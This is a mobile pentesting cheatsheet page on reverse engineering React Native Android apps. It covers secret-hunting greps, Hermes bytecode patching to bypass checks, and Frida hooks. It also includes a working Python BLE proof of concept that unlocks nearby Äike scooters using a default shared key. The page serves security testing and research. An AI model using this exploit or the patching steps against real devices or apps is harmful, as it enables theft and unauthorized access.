daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

react-native-application.md (17419B)


      1 ---
      2 title: "React Native Application Analysis"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/react-native-application.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/react-native-application.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # React Native Application Analysis
     14 
     15 To confirm if the application was built on the React Native framework, follow these steps:
     16 
     17 1. Rename the APK file with a zip extension and extract it to a new folder using the command `cp com.example.apk example-apk.zip` and `unzip -qq example-apk.zip -d ReactNative`.
     18 
     19 2. Navigate to the newly created ReactNative folder and locate the assets folder. Inside this folder, you should find the file `index.android.bundle`, which contains the React JavaScript in a minified format.
     20 
     21 3. Use the command `find . -print | grep -i ".bundle$"` to search for the JavaScript file.
     22 
     23 Note: If you are given an Android App Bundle (.aab) instead of an APK, generate a universal APK first and then extract the bundle:
     24 
     25 ```bash
     26 # Get bundletool.jar and generate a universal APK set
     27 java -jar bundletool.jar build-apks \
     28   --bundle=app-release.aab \
     29   --output=app.apks \
     30   --mode=universal \
     31   --overwrite
     32 
     33 # Extract the APK and then unzip it to find assets/index.android.bundle
     34 unzip -p app.apks universal.apk > universal.apk
     35 unzip -qq universal.apk -d ReactNative
     36 ls ReactNative/assets/
     37 ```
     38 
     39 ## Javascript Code
     40 
     41 If checking the contents of the `index.android.bundle` you find the JavaScript code of the application (even if minified), you can **analyze it to find sensitive information and vulnerabilities**.
     42 
     43 As the bundle contains actually all the JS code of the application it's possible to **divide it in different files** (potentially making easier its reverse engineering) using the **tool [react-native-decompiler](https://github.com/numandev1/react-native-decompiler)**.<sup>[[3]](#references)</sup>
     44 
     45 ### Webpack
     46 
     47 To further analyze the JavaScript code, you can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or follow these steps:
     48 
     49 1. Create a file named `index.html` in the same directory with the following code:
     50 
     51 ```html
     52 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/index.android.bundle"></script>
     53 ```
     54 
     55 2. Open the `index.html` file in Google Chrome.
     56 
     57 3. Open the Developer Toolbar by pressing **Command+Option+J for OS X** or **Control+Shift+J for Windows**.
     58 
     59 4. Click on "Sources" in the Developer Toolbar. You should see a JavaScript file that is split into folders and files, making up the main bundle.
     60 
     61 If you find a file called `index.android.bundle.map`, you will be able to analyze the source code in an unminified format. Map files contain source mapping, which allows you to map minified identifiers.
     62 
     63 To search for sensitive credentials and endpoints, follow these steps:<sup>[[1]](#references)</sup>
     64 
     65 1. Identify sensitive keywords to analyze the JavaScript code. React Native applications often use third-party services like Firebase, AWS S3 service endpoints, private keys, etc.
     66 
     67 2. In this specific case, the application was observed to be using the Dialogflow service. Search for a pattern related to its configuration.
     68 
     69 3. It was fortunate that sensitive hard-coded credentials were found in the JavaScript code during the recon process.
     70 
     71 ### Quick secrets/endpoint hunting in bundles
     72 
     73 These simple greps often surface interesting indicators even in minified JS:<sup>[[2]](#references)</sup>
     74 
     75 ```bash
     76 # Common backends and crash reporters
     77 strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
     78 
     79 # Firebase / Google keys (heuristics)
     80 strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
     81 
     82 # AWS access key id heuristic
     83 strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
     84 
     85 # Expo/CodePush deployment keys
     86 strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
     87 
     88 # Sentry DSN
     89 strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
     90 ```
     91 
     92 If you suspect Over-The-Air update frameworks, also hunt for:
     93 - Microsoft App Center / CodePush deployment keys
     94 - Expo EAS Updates configuration (`expo-updates`, `expo\.io`, signing certs)
     95 
     96 ### Change JS code and rebuild
     97 
     98 In this case changing the code is easy. You just need to rename the app to use the extension `.zip` and extract it. Then you can **modify the JS code inside this bundle and rebuild the app**. This should be enough to allow you to **inject code** in the app for testing purposes.
     99 
    100 
    101 ## Hermes bytecode
    102 
    103 If the bundle contains **Hermes bytecode**, you **won't be able to access the Javascript code** of the app (not even to the minified version).
    104 
    105 You can check if the bundle contains Hermes bytecode by running the following command:
    106 
    107 ```bash
    108 file index.android.bundle
    109 index.android.bundle: Hermes JavaScript bytecode, version 96
    110 ```
    111 
    112 However, you can use the tools **[hbctool](https://github.com/bongtrop/hbctool)**, updated forks of hbctool that support newer bytecode versions, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust library/APIs), or **[hermes-dec](https://github.com/P1sec/hermes-dec)** to **disassemble the bytecode** and also to **decompile it to some pseudo JS code**. For example:<sup>[[5]](#references)</sup>
    113 
    114 ```bash
    115 # Disassemble and re-assemble with hbctool (works only for supported HBC versions)
    116 hbctool disasm ./index.android.bundle ./hasm_out
    117 # ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
    118 hbctool asm   ./hasm_out ./index.android.bundle
    119 
    120 # Using hasmer (focus on disassembly; assembler/decompiler are WIP)
    121 hasmer disasm ./index.android.bundle -o hasm_out
    122 
    123 # Using hermes-dec to produce pseudo-JS
    124 hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
    125 hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js
    126 ```
    127 
    128 Tip: The open-source Hermes project also ships developer tools such as `hbcdump` in specific Hermes releases. If you build the matching Hermes version used to produce the bundle, `hbcdump` can dump functions, string tables, and bytecode for deeper analysis.
    129 
    130 ### Change code and rebuild (Hermes)
    131 
    132 Ideally you should be able to modify the disassembled code (changing a comparison, or a value or whatever you need to modify) and then **rebuild the bytecode** and rebuild the app.
    133 
    134 - The original **[hbctool](https://github.com/bongtrop/hbctool)** supports disassembling the bundle and building it back after changes, but historically supported only older bytecode versions. Community-maintained forks extend support to newer Hermes versions (including mid-80s–96) and are often the most practical option to patch modern RN apps.<sup>[[5]](#references)</sup>
    135 - The tool **[hermes-dec](https://github.com/P1sec/hermes-dec)** does not support rebuilding the bytecode (decompiler/disassembler only), but it’s very helpful to navigate logic and dump strings.
    136 - The tool **[hasmer](https://github.com/lucasbaizer2/hasmer)** aims to support both disassembly and assembly for multiple Hermes versions; assembling is still maturing but worth trying on recent bytecode.
    137 
    138 A minimal workflow with hbctool-like assemblers:
    139 
    140 ```bash
    141 # 1) Disassemble to HASM directories
    142 hbctool disasm assets/index.android.bundle ./hasm
    143 
    144 # 2) Edit a guard or feature flag (example: force boolean true)
    145 #    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
    146 #    or change a conditional jump target to bypass a check.
    147 
    148 # 3) Reassemble into a new bundle
    149 hbctool asm ./hasm assets/index.android.bundle
    150 
    151 # 4) Repack the APK and resign
    152 zip -r ../patched.apk *
    153 # Align/sign as usual (see Android signing section in HackTricks)
    154 ```
    155 
    156 Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.
    157 
    158 ## Dynamic Analysis
    159 
    160 For dynamic analysis, you can try using Frida to enable React Native developer support and attach **`react-native-debugger`**. Some published workflows assume access to the source code; against a release-only target, feasibility depends on which development classes and bundle metadata remain in the build. The linked walkthrough provides a practical example.<sup>[[7]](#references)</sup>
    161 
    162 ### Enabling Dev Support in release with Frida (caveats)
    163 
    164 Some apps accidentally ship classes that make Dev Support togglable. If present, you can try forcing `getUseDeveloperSupport()` to return true:<sup>[[7]](#references)</sup>
    165 
    166 ```javascript
    167 // frida -U -f com.target.app -l enable-dev.js
    168 Java.perform(function(){
    169   try {
    170     var Host = Java.use('com.facebook.react.ReactNativeHost');
    171     Host.getUseDeveloperSupport.implementation = function(){
    172       return true; // force dev support
    173     };
    174     console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
    175   } catch (e) {
    176     console.log('[-] Could not patch: ' + e);
    177   }
    178 });
    179 ```
    180 
    181 Warning: In properly built release builds, `DevSupportManagerImpl` and related debug-only classes are stripped and flipping this flag can crash the app or have no effect. When this works, you can typically expose the dev menu and attach debuggers/inspectors.
    182 
    183 ### Network interception in RN apps
    184 
    185 React Native Android typically relies on OkHttp under the hood (via the `Networking` native module). To intercept/observe traffic on a non-rooted device during dynamic tests:
    186 - Use system proxy + trust user CA or use other generic Android TLS bypass techniques.
    187 - RN-specific tip: if the app bundles Flipper in release by mistake (debug tooling), the Flipper Network plugin can expose requests/responses.
    188 
    189 For generic Android interception and pinning bypass techniques refer to:
    190 
    191 [Make Apk Accept Ca Certificate](/hacktricks/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate)
    192 
    193 [Objection Tutorial](/hacktricks/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial)
    194 
    195 ### Runtime GATT protocol discovery with Frida (Hermes-friendly)
    196 
    197 When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. `android.bluetooth.BluetoothGatt` and `BluetoothGattCallback` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source.<sup>[[6]](#references)</sup>
    198 
    199 <details>
    200 <summary>Frida GATT logger (UUID + hex/ASCII dumps)</summary>
    201 
    202 ```javascript
    203 Java.perform(function () {
    204   function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); }
    205   function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); }
    206   var G = Java.use('android.bluetooth.BluetoothGatt');
    207   var Cb = Java.use('android.bluetooth.BluetoothGattCallback');
    208 
    209   G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function (c) {
    210     console.log(`\n>>> WRITE ${c.getUuid()}`); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
    211     return this.writeCharacteristic(c);
    212   };
    213   G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic','[B','int').implementation = function (c,v,t) {
    214     console.log(`\n>>> WRITE ${c.getUuid()} (type ${t})`); console.log(b2h(v)); console.log(b2a(v));
    215     return this.writeCharacteristic(c,v,t);
    216   };
    217   Cb.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt','int','int').implementation = function (g,s,n) {
    218     console.log(`*** STATE ${n} (status ${s})`); return this.onConnectionStateChange(g,s,n);
    219   };
    220   Cb.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic','int').implementation = function (g,c,s) {
    221     var v=c.getValue(); console.log(`\n<<< READ ${c.getUuid()} status ${s}`); console.log(b2h(v)); console.log(b2a(v));
    222     return this.onCharacteristicRead(g,c,s);
    223   };
    224   Cb.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic').implementation = function (g,c) {
    225     var v=c.getValue(); console.log(`\n<<< NOTIFY ${c.getUuid()}`); console.log(b2h(v));
    226     return this.onCharacteristicChanged(g,c);
    227   };
    228 });
    229 ```
    230 </details>
    231 
    232 Hook `java.security.MessageDigest` to fingerprint hash-based handshakes and capture the exact input concatenation:
    233 
    234 <details>
    235 <summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
    236 
    237 ```javascript
    238 Java.perform(function () {
    239   var MD = Java.use('java.security.MessageDigest');
    240   MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
    241   MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
    242   MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
    243   MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
    244 });
    245 ```
    246 </details>
    247 
    248 A real-world BLE flow recovered this way:
    249 - Read challenge from `00002556-1212-efde-1523-785feabcd123`.
    250 - Compute `response = SHA1(challenge || key)` where the **key was a 20-byte default of 0xFF** provisioned across all devices.
    251 - Write the response to `00002557-1212-efde-1523-785feabcd123`, then issue commands on `0000155f-1212-efde-1523-785feabcd123`.
    252 
    253 Once authenticated, commands were 10-byte frames to `...155f...` (`[0]=0x00`, `[1]=registry 0xD4`, `[3]=cmd id`, `[7]=param`). Examples: unlock `00 D4 00 01 00 00 00 00 00 00`, lock `...02...`, eco-mode on `...03...01...`, open battery `...04...`. Notifications arrived on `0000155e-1212-efde-1523-785feabcd123` (2-byte registry + payload), and registry values could be polled by writing the registry ID to `00001564-1212-efde-1523-785feabcd123` then reading back from `...155f...`.
    254 
    255 With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC:
    256 
    257 <details>
    258 <summary>Python (bleak) BLE auth + unlock via default key</summary>
    259 
    260 ```python
    261 import asyncio, hashlib
    262 from bleak import BleakClient, BleakScanner
    263 CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"
    264 
    265 def filt(d,_): return d.name and d.name in ["AIKE","AIKE_T","AIKE_11"]
    266 async def main():
    267   dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0)
    268   if not dev: return
    269   async with BleakClient(dev.address) as c:
    270     chal = await c.read_gatt_char(CHAL)
    271     resp = hashlib.sha1(chal + b'\xff'*20).digest()
    272     await c.write_gatt_char(RESP, resp, response=False)
    273     await c.write_gatt_char(CMD, bytes.fromhex('00 d4 00 01 00 00 00 00 00 00'), response=False)
    274     await asyncio.sleep(0.5)
    275 asyncio.run(main())
    276 ```
    277 </details>
    278 
    279 ## Recent issues in popular RN libraries (what to look for)
    280 
    281 When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in `package.json`/`yarn.lock`.
    282 
    283 - react-native-mmkv (Android): versions prior to 2.11.0 logged the optional encryption key to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.<sup>[[4]](#references)</sup>
    284 - react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. Validate inputs and library version.
    285 
    286 Quick checks:
    287 
    288 ```bash
    289 grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
    290 grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
    291 # If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
    292 ```
    293 
    294 ## References
    295 
    296 - [1] [Let's know how I have explored the buried secrets in React Native application](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
    297 - [2] [Expanding the attack surface: React Native Android applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications)
    298 - [3] [Mastering React Native Application Pentesting - A Practical Guide](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf)
    299 - [4] [CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-21668)
    300 - [5] [hbctool (and forks) for Hermes assemble/disassemble](https://github.com/bongtrop/hbctool)
    301 - [6] [Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter](https://blog.nns.ee/2026/01/06/aike-ble/)
    302 - [7] [Hooking React Native Applications with Frida](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/)